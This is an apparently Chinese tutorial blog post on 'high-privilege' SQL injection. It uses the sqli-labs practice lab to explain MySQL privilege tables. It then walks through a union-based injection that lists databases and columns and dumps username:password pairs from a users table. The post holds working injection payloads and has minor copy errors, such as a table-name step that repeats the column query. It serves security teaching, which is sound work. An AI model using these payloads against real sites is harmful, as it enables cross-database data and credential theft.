SQL注入 高权限注入(引入概念)

一、什么是高权限注入?

高权限注入,顾名思义,是指利用数据库的高权限账户(如 root),在存在注入漏洞的情况下,不仅可以操作当前数据库,还能跨库访问和操作服务器上所有数据库的数据。
高权限与低权限的区别:

  • 高权限(如 root 用户):
    • 拥有整个数据库服务器的操作和控制权
    • 可访问、修改、删除所有数据库和表的数据
  • 低权限(普通用户):
    • 权限受限,只能访问指定数据库、表或字段
  • 可能仅有部分查询权限,无法进行数据的增删改
    举例说明:
  • 一个服务器上有多个网站,每个网站各自拥有独立的数据库。
  • 如果网站A存在注入漏洞,且其数据库连接账户为 root,那么攻击者可通过漏洞跨库访问网站B、C等其他数据库的数据。

二、数据库权限层级结构

我们现在依旧可以在 sqli-labs 的第二关来找一下信息

可以看到这边我们是 root 的身份,那我们现在打开源代码看一下这是怎么赋予 root 身份的

这边可以看到 include 了一个外部的文件,这是我们连接 mysql 的配置文件,我们去找一下

这边你又会发现,这里又引入了一个外部的文件,一层包着一层的

这就是 root 权限的由来。
数据库中的权限控制通常分为以下几个层级:

  1. User 表:全局最高权限(root 用户)
  2. Db 表:指定数据库的权限
  3. Tables 表:指定表的权限
  4. Columns 表:指定字段的权限
    权限验证流程:
  • 系统依次检查 user → db → tables → columns 四张表
  • 只要上层权限为 Y(yes),则无需继续往下检查
  • 权限为 N(no)时,才会继续往下级表查找具体权限

三、实操演示:高权限与低权限账户的创建与权限分配

依旧是


1. 查询当前数据库用户及权限:

复制代码
SELECT user, host FROM mysql.user;

查看有哪些用户

复制代码
select * from user where user='root' and host='localhost' \G;


这边你就能知道哪些权限在root身份下是开着的了


四、高权限注入实战流程

前提条件:

  • 数据库连接账户为 root(高权限)
  • 存在 SQL 注入漏洞
    注入流程:
  1. 判断是否存在注入点
  • 通过输入异常值、报错信息等方式检测
  1. 确定字段数量
  • 使用 order by 语句测试字段数
  1. 联合查询注入
  • 使用 union select 构造注入语句
  1. 查询所有数据库名

    id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

  • 可获取服务器下所有数据库
  1. 查询指定数据库下所有表名

    id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273

  • 注意:'users' 可用 16 进制表示,防止编码问题 0x7573657273
    以上就是我们等到的表名
  1. 查询表内所有字段名

    id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273

  2. 查询表内具体数据

    id=-1 union select 1,concat(username,0x3a,password),3 from security.users

  • 建议使用 库名.表名 精确指定,避免同名表混淆

这个帖子其实和手工注入没有什么差别,就是提了一下高权限注入的概念

相关推荐
星融元asterfusion18 分钟前
工业网络升级实战:100G 双轨 Leaf-Spine 架构破解高并发出货网络瓶颈
网络·架构·spine
Da Da 泓23 分钟前
五子棋 Web 端测试用例报告
前端·网络·websocket·网络协议·测试用例·项目
数智园区合作社1 小时前
问数平台怎么把同一个指标锁成一个数
大数据·数据库·人工智能·ai
云和数据.ChenGuang1 小时前
光哥说Python RAG 系统需要哪些评估指标:从检索到生成的全链路评测指南
网络·人工智能·python·算法·langchain
lbb 小魔仙1 小时前
Windows搭建PaddleOCR+飞书Webhook自动打卡通知机器人:识别、推送与远程触发完整教程
数据库·人工智能·prometheus·时序数据库
ESDWAN2 小时前
企业网络监控应该监测哪些目标?网关、网络节点还是业务系统?
服务器·网络·php
mennekes2 小时前
临时用电线路标识:插头颜色、钟面标识配套规范
运维·网络·科技·安全·制造
captain3762 小时前
MyBatis操作数据库(入门2)
java·数据库·spring boot·后端·spring·mybatis
心中有你02143 小时前
Java实现Dijkstra最短路径算法(邻接表 + 优先队列)
java·数据库·算法
龙亘川3 小时前
综合素质评价业务建模:从过程性评价到成长档案全链路闭环
数据库·智慧城市·数据可视化